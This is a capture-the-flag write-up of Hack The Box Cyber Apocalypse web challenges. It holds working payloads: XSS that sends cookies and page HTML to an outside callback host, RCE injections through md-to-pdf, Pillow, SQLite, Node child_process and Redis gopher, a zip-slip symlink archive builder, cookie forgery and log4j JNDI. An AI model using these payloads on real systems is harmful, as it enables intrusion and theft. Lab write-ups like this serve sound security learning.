Prologue
CTF Hackthebox Cyber Apocalypse is an international competition held every year by Hack The Box. This CTF Competition is using Jeopardy-style, which means every teams must find a flag in the given challenge. This competition lasts for six days.
Write Up
Kryptos Support (300 pts)
The value of this challenge is 300 points and +1000 players have solved this challenge.
We’re given a website with an interface like this.
After doing an enumeration, we only found an input and button. When submitting the form, We have a unique response that could make use of this as a hint. We assume this is a generic Client-Side Challenge
To prove our assumption, We sent a Cross-Site Scripting payload.
1
2
3
|
<script>
fetch('ip_callback')
</script>
|
After waiting for a few seconds, We obtained a callback from an unknown IP address with HeadlessChrome as the User-Agent. That means our assumption is correct.
1
2
3
|
<script>
fetch('ip_callback/q?=' + document.cookie)
</script>
|
After using the cookies the page didn’t get the flag nor redirect to the logged-in dashboard.
After that our attempt is to get the source code HTML that the bot has.
1
2
3
|
<script>
fetch('ip_callback/q?=' + encodeURI(document.body.outerHTML))
</script>
|
Decoded result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<body>
<nav class="nav-bar">
<ul>
<li>
<a href="/settings">Settings</a>
</li>
</ul>
</nav>
<nav class="logged-bar">
<ul>
<li>
logged in as (), <a href="/logout">logout</a>
</li>
</ul>
</nav>
<div class="container on">
<div class="screen">
<h3 class="title">
Kryptos Vault Support tickets
</h3>
<div class="message-container">
<div class="ticket-card">
<div class="c1"><span>Submitted </span></div>
<div class="c2"><p>2022-05-18 17:39:15</p></div>
<div class="c1"><span>Message </span></div>
<div class="c2"><p><script>
fetch('http://x.nyxmare.co:1234/q?=' encodeURI(document.body.outerHTML))
</script></p></div></div></div></div></div></body>
|
We could see the new endpoint /settings
We visited the new endpoint, using the stolen cookies. Apparently. It’s a feature that we could change the password.
After analyzing the request we found out we could change the password for another user. So we just change the uid
100 to 1.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /api/users/update HTTP/1.1
Host: 134.209.178.167:30580
Content-Length: 30
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
DNT: 1
Content-Type: application/json
Accept: */*
Origin: http://134.209.178.167:30580
Referer: http://134.209.178.167:30580/settings
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,id;q=0.8
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1vZGVyYXRvciIsInVpZCI6MTAwLCJpYXQiOjE2NTI4OTUzNzV9.lvNoW_CXaivBSOKLbzEZOVOAsY_9yG0lZ_vfa7nU3lg
Connection: close
{"password":"123","uid":"1"}
|
after that, we just log in at /login
and successfully obtain the FLAG
HTB{x55_4nd_id0rs_ar3_fun!!}
BlinkerFluids (300 points)
The value of this challenge is 300 points and +800 players have solved this challenge.
We’re given a website with a feature for creating an invoice using markdown and exporting it to PDF.
In this challenge, the author gives us a source code, we could make use of this for analyzing the source code.
At package.json there’s a vulnerable dependency to RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
{
"name": "blinker-fluids",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"keywords": [],
"author": "rayhan0x01",
"license": "ISC",
"dependencies": {
"express": "4.17.3",
"md-to-pdf": "4.1.0",
"nunjucks": "3.2.3",
"sqlite-async": "1.1.3",
"uuid": "8.3.2"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
|
https://github.com/simonhaenisch/md-to-pdf/issues/99
That issue already shows the payload, We could make use of that to implement it to this challenge.
We tweaked the payload little bit and we managed to get the FLAG
1
2
3
4
5
|
---js
{
css: `body::before { content: "${require('fs').readFileSync('/flag.txt').toString()}"; display: block }`,
}
---
|
HTB{bl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls}
Amidst Us (300 points)
The value of this challenge is 300 points and +500 players have solved this challenge.
We’re given a website with a feature for changing the color of the uploaded image.
In this challenge, the author gives us a source code, We could make use of this for analyzing the source code.
Same with before, we checked out the dependency first and find out the application uses an obsolete Pillow
version. In this version, we could find an issue on GitHub.
https://github.com/python-pillow/Pillow/pull/5923
And in the source code challenge/application/util.py#L:16
, the parameter coior is passed into ImageMath.eval()
function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
alpha = ImageMath.eval(
f'''float(
max(
max(
max(
difference1(red_band, {color[0]}),
difference1(green_band, {color[1]})
),
difference1(blue_band, {color[2]})
),
max(
max(
difference2(red_band, {color[0]}),
difference2(green_band, {color[1]})
),
difference2(blue_band, {color[2]})
)
)
)''',
difference1=lambda source, color: (source - color) / (255.0 - color),
difference2=lambda source, color: (color - source) / color,
red_band=img_bands[0],
green_band=img_bands[1],
blue_band=img_bands[2]
)
|
So, we just copy pasting the payload and successfully obtained the FLAG
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
POST /api/alphafy HTTP/1.1
Host: 157.245.40.139:31815
Content-Length: 342
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
DNT: 1
Content-Type: application/json
Accept: */*
Origin: http://157.245.40.139:31815
Referer: http://157.245.40.139:31815/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,id;q=0.8
Connection: close
{"image":"iVBORw0KGgoAAAANSUhEUgAAAHkAAAAbCAIAAADXpLdPAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAWklEQVRoQ+3QoQ0AIQDAwOfXICHsPyUeT9WdrOyYa38k/jvwjNcdrzted7zueN3xuuN1x+uO1x2vO153vO543fG643XH647XHa87Xne87njd8brjdcfrjtedA4v8AI+wONVzAAAAAElFTkSuQmCC","background":["(lambda: __import__('os').system('cat /flag.txt > application/static/flag.txt'))()",71,71]}
|
HTB{i_slept_my_way_to_rce}
Intergalactic Post (300 points)
The value of this challenge is 300 points and +360 players have solved this challenge.
We’re given a website with a feature for subscribing to stuff.
In this challenge, the author gives us a source code, We could make use of this for analyzing the source code.
After reading the source code, there’s an odd way for executing SQL at challenge/Database.php#L34:L37
.
1
2
3
4
|
public function subscribeUser($ip_address, $email)
{
return $this->db->exec("INSERT INTO subscribers (ip_address, email) VALUES('$ip_address', '$email')");
}
|
In the subscribeUser
function, PHP will execute the SQL without sanitizing our input.
And also we could see in this piece of code challenge/models/SubscriberModel.php#L10:L19
1
2
3
4
5
6
7
8
9
10
|
public function getSubscriberIP(){
if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)){
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
return $_SERVER["REMOTE_ADDR"];
}else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
return $_SERVER["HTTP_CLIENT_IP"];
}
return '';
}
|
At the getSubscriberIP
function, its attempts to get the client IP, We could spoof this using X-Forwarded-For
since its prioritizes HTTP_X_FORWARDED_FOR
first.
In the SQLite
DBMS, SQL Injection
could escalated into Remote Code Execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
POST /subscribe HTTP/1.1
Host: 178.62.73.26:30911
Content-Length: 24
Cache-Control: max-age=0
Origin: http://178.62.73.26:30911
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://178.62.73.26:30911/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,id;q=0.8
Connection: close
X-Forwarded-For: ','');ATTACH DATABASE '/www/x.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ("<);--
email=nyx%40nymare.world
|
HTB{inj3ct3d_th3_tru7h}
Mutation Lab (300 points)
The value of this challenge is 300 points & +300 players have solved this challenge.
We’re given a website with a feature for registration and login.
In the dashboard menu, We’re given a feature that converts SVG into PNG.
After playing with the request, we could trigger the application to show an error message. With this information, we could find out what library is used by this application.
The newest CVE for this library is a local file read. So, we just copy-pasting again with the payload.
https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-1582785
1
2
3
4
5
|
<svg-dummy></svg-dummy>
<iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe>
<svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="0" class="Rrrrr" id="demo">data</text>
</svg>
|
Since we couldn’t find the flag file, we attempted to read the source code on this application.
According to the another NodeJS challenge, the usual source code is placed on /app
So, we just need to check the /app/index.js and find out it’s using a .env
.
After that, I am reading the /app/routes/index.js
, We need to forge the cookie with SECRET_KEY
on .env
before so we could change the user into admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
const express = require('express')
const cookieParser = require('cookie-parser')
const session = require('cookie-session')
app = express()
app.use(cookieParser())
app.use(session({
name:'session',
keys:['5921719c3037662e94250307ec5ed1db']
}))
app.get('/', async (req, res)=>{
try {
req.session.username = 'admin'
return res.send('nice');
} catch (error) {
console.log(error)
}
})
app.listen(1111, ()=>{
console.log('nice')
})
|
After forging the cookie we could use this cookie and check the dashboard, and We could successfully obtain the flag.
HTB{fr4m3d_th3_s3cr37s_f0rg3d_th3_entrY}
Acnologia Portal (300 points)
The value of this challenge is 300 points & +180 players have solved this challenge.
We’re given a website with a feature for registration and login.
In the dashboard menu, We’re given a feature that We could send something to the bot.
After doing some static analysis, there are a few things we need to pay attention to.
- at
challenge/application/blueprints/routes.py#L76:L96
for every report we send, the bot will visit our report.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
@api.route('/firmware/report', methods=['POST'])
@login_required
def report_issue():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
module_id = data.get('module_id', '')
issue = data.get('issue', '')
if not module_id or not issue:
return response('Missing required parameters!'), 401
new_report = Report(module_id=module_id, issue=issue, reported_by=current_user.username)
db.session.add(new_report)
db.session.commit()
visit_report()
migrate_db()
return response('Issue reported successfully!')
|
- at
challenge/application/templates/review.html#L20:L29
there’s an XSS
1
2
3
4
5
6
7
8
9
10
|
<div class="container" style="margin-top: 20px"> {% for report in reports %} <div class="card">
<div class="card-header"> Reported by : {{ report.reported_by }}
</div>
<div class="card-body">
<p class="card-title">Module ID : {{ report.module_id }}</p>
<p class="card-text">Issue : {{ report.issue | safe }} </p>
<a href="#" class="btn btn-primary">Reply</a>
<a href="#" class="btn btn-danger">Delete</a>
</div>
</div> {% endfor %} </div>
|
- At
challenge/application/util.py#L17:L42
there’s a zip slip vulnerability in that function it will extract the archive without sanitizing the file name and checking is it a
symlink` file or not.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
def extract_firmware(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
rand_dir = generate(15)
extractdir = f"{current_app.config['UPLOAD_FOLDER']}/{rand_dir}"
os.makedirs(extractdir, exist_ok=True)
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
try:
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
continue
except:
pass
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return True
return False
|
It can be concluded, We need to chain the bug from XSS to zip-slip for getting the flag.
Our first to-do is creating a malicious archive and symlinking the file /flag.
1
2
3
4
5
6
7
8
9
|
import tarfile, os
if not os.path.exists('symlink'):
os.symlink('/flag.txt', 'symlink')
path = "../app/application/static/js/flag"
tf = tarfile.open('exploit.tar.gz' , 'w:gz')
tf.add('symlink', path)
tf.close()
|
After that set up a webserver for getting the malicious archive before.
1
2
3
4
5
6
7
8
9
|
(async() => {
var url = "http://webserver__"
var f = await fetch(`${url}/`)
content = await f.blob();
console.log(content)
var formData = new FormData();
formData.append('file', content)
await fetch("/api/firmware/upload", { method: 'POST', body: formData }).then((r)=>r.text()).then((r)=>fetch('https://webserver_/?q='+encodeURI(r)));
})()
|
And also we need to add CORS for our webserver.
1
2
3
4
|
<?php
header('Access-Control-Allow-Origin: http://localhost:1337');
echo file_get_contents('./exploit.tar.gz');
?>
|
After the preparation is done, we just put the XSS payload in the issue textbox.
1
|
<script src="http://webserver/main.js"></script>
|
After waiting for a few seconds, we received a callback from our server. and we could access the /static/js/flag
for getting the flag.
HTB{des3r1aliz3_4ll_th3_th1ngs}
Spiky Tamagotchi (325 points)
The value of this challenge is 325 points & +90 players have solved this challenge.
We’re given a website for login only.
After doing some static analysis and dynamic analysis there’s something that needs to point out.
at challenge/helpers/SpikyFactory.js#L2:L17
there’s a Code Injection
where our input will pass into anonymous function
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
const calculate = (activity, health, weight, happiness) => {
return new Promise(async (resolve, reject) => {
try {
// devine formula :100:
let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; } if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; } if (w < 10) { w = 10 } return {m, hp, w, hs}
}`;
quickMaths = new Function(res);
const {m, hp, w, hs} = quickMaths();
resolve({mood: m, health: hp, weight: w, happiness: hs})
}
catch (e) {
reject(e);
}
});
}
|
Since the challenge author did not give any credentials or registration feature. We attempt to debug the challenge at challenge/database.js
1
2
3
4
5
6
7
8
9
10
11
|
async loginUser(user, pass) {
return new Promise(async (resolve, reject) => {
let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?';
this.connection.query(stmt, [user, pass], (err, result) => {
console.log(err)
if(err || result.length == 0)
reject(err)
resolve(result)
});
});
}
|
After playing with the request, we found out the odd thing when we send an object
at the password
parameter.
key object at our input will be a table name and the value object will be the value.
If we send a JSON request like this, the SQL will be like this.
Since we successfully logged in, the dashboard will look like this.
At challenge/routes/index.js#L32:L44
the function calculate
will be called, and the activity
parameter will not be sanitized, We could make use of this for code injection
1
2
3
4
5
6
7
8
9
10
11
12
13
|
router.post('/api/activity', AuthMiddleware, async (req, res) => {
const { activity, health, weight, happiness } = req.body;
if (activity && health && weight && happiness) {
return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
.then(status => {
return res.json(status);
})
.catch(e => {
res.send(response('Something went wrong!'));
});
}
return res.send(response('Missing required parameters!'));
});
|
We successfully obtained the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /api/activity HTTP/1.1
Host: 165.227.224.55:31747
Content-Length: 151
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
DNT: 1
Content-Type: application/json
Accept: */*
Origin: http://165.227.224.55:31747
Referer: http://165.227.224.55:31747/interface
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,id;q=0.8
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTU0NzU1fQ.vldF7xPFUtbh1SgPY6RJ-nPl07ExbLScjw4ugOlc9dI
Connection: close
{"activity":"feed'+process.mainModule.require('child_process').execSync('cat /fl* > /app/static/flag')+'","health":"60","weight":"42","happiness":"50"}
|
HTB{3sc4p3d_bec0z_n0_typ3_ch3ck5}
Red Island (325 points)
The value of this challenge is 325 points & +90 players have solved this challenge.
We’re given a website for login and registration.
In the dashboard, We could fetch an image from another URL
In general, this kind of feature is vulnerable to Local File Read
or Server Side Request Forgery
.
We attempted to find the flag file, so our next attempt is to read the source code instead.
As we can see, there’s a library involved with Redis
. With chaining the known vulnerability, We assume it’s an SSRF.
There’s an article that explains how to access Redis service using gopher protocol.
https://maxchadwick.xyz/blog/ssrf-exploits-against-redis
And we also there’s a recent CVE involved with redis.
1
|
gopher://127.0.0.1:6379/_*3%0d%0a%244%0d%0aeval%0d%0a%24197%0d%0alocal%20io_l%20%3d%20package.loadlib(%22%2fusr%2flib%2fx86_64-linux-gnu%2fliblua5.1.so.0%22%2c%20%22luaopen_io%22)%3b%20local%20io%20%3d%20io_l()%3b%20local%20f%20%3d%20io.popen(%22cat%20%2froot%2fflag%22%2c%20%22r%22)%3b%20local%20res%20%3d%20f%3aread(%22*a%22)%3b%20f%3aclose()%3b%20return%20res%0d%0a%241%0d%0a0%0d%0a*1%0d%0a%244%0d%0aquit
|
HTB{r3d_righ7_h4nd_t0_th3_r3dis_land!}
Genesis Wallet (325 points)
The value of this challenge is 325 points & +110 players have solved this challenge.
We’re given a website for login and registration.
In the dashboard, there’s a feature where we could transfer a Genesis Coin
.
After doing some static analysis, there’s something that needs to point out.
At challenge/routes/index.js#L165:L167
, We could see there’s no sanitation about the negative number.
1
2
3
|
if (parseFloat(user.balance) < parseFloat(amount)) return res.status(403).send(response('Insufficient Funds!'));
if (!addressExp.test(receiver)) return res.status(403).send(response('Invalid receiver address format!'));
if (receiver == user.address) return res.status(403).send(response(`You can't send to your own address!`));
|
We need to drain the icarus
balance, so we need to know the address for the icarus
account. Its explained at here challenge/database.js#L50
1
|
let address = crypto.createHash('md5').update(user).digest("hex");
|
This means, that the address for icarus
is the result of encryption of the username icarus
.
1
2
|
└─$ echo -n "icarus" | md5sum
1ea8b3ac0640e44c27b3cb8a258a87f8 -
|
HTB{fl3w_t00_cl0s3_t0_th3_d3cept10n}
Genesis Wallet’s Revenge (350 points)
The value of this challenge is 350 points & +40 players have solved this challenge.
The source code for this challenge is the same as before, except the author is already put a check for a negative number when sending a coin.
We already know before, that the challenge is using varnish 6.1 as a cache application. In this version, it’s vulnerable to Request Smuggling
. We assume its impossible to escalate it to steal the balance icarus
And also, for every transaction request, it will trigger the bot for visiting the /transactions
page, We assume it’s another client-side attack
since We could send an HTML payload to that page. Unfortunately, at challenge/helpers/MDHelpers.js
our input is already sanitized by the newest version DOMPurify
.
We tried to read the router in this application and find out there’s something fishy about regex.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
router.get(/^\/(\w{2})?\/?(setup|reset)-2fa/, AuthMiddleware, async (req, res) => {
let lang = req.params[0];
if (!lang) lang = 'en';
let otpkey = OTPHelper.genSecret();
return db.setOTPKey(req.user.username, otpkey)
.then(() => {
return res.render(`${lang}/setup-2fa.html`, {otpkey: otpkey, action: req.params[1]});
})
.catch(err => {
console.log(err);
return res.status(500).send(response('Something went wrong!'));
});
});
|
as we can see, the regex is lack the end
regex. So we still could access those endpoints like this.
/reset-2fa.js
, /reset-2fa.css
, etc.
And also, at varnish configuration, we could see the page is caching the URL if it’s matched with a regex.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
sub vcl_recv {
# Only allow caching for GET and HEAD requests
if (req.method != "GET" && req.method != "HEAD") {
return (pass);
}
# get javascript and css from cache
if (req.url ~ "(\.(js|css|map)$|\.(js|css)\?version|\.(js|css)\?t)") {
return (hash);
}
# get images from cache
if (req.url ~ "\.(svg|ico|jpg|jpeg|gif|png)$") {
return (hash);
}
# get fonts from cache
if (req.url ~ "\.(otf|ttf|woff|woff2)$") {
return (hash);
}
# get everything else from the backend
return(pass);
}
|
By making use of those regex misconfigurations, We could exploit it using web cache deception
, Which means we could force the victim to caching the sensitive page.
We could make use of the note feature by sending an image tag with src /reset-2fa
. This attack is feasible because the application is lack CSRF protection.
with this payload, the bot will GET requesting /reset-2fa.js
, and since, it’s a valid regex for varnish configuration, Varnish will caching this sensitive endpoint.
After sending the payload, and waiting for a few seconds for the bot to visit the page, we could access the /reset-2fa.js
and need to change the header to Host: 127.0.0.1
. This is because the bot is visiting 127.0.0.1
and varnish using host origin as the cache partition
key.
We successfully obtained the 2FA, all We need to do is just drain all icarus
balance to our user.
HTB{Fl3w_t00_cl0s3_t0_7h3_d3cept10n_4nd_burn3d!}
Checkpointbots (350 points)
The value of this challenge is 350 points & +40 players have solved this challenge.
We’re given a website with a check-in
stuff feature.
After doing static analysis, this application uses vulnerable log4j.
For every wrong token, the application will log the token to log4j. This means this parameter is used for our exploit.
We’re using JNDIExploit-1.2.jar
for exploiting this challenge.
By default, at java spring webserver, query string
with characters $
and {
, }
is always rejected. We could bypass this using URL encoding.
We’re using Deserialization
at CommonBeanUtils1
for the gadget and we successfully obtained a RCE
HTB{l0g4j2_g4dg3t_ch4in_55t1_f0r_fun}
Epilogue
We successfully solved all web challenges in this competition. The given challenge is very interesting and fun. From XSS to Java Deserialization. Kudos to the author of the challenge for giving us a fun challenge.
— nyxsorcerer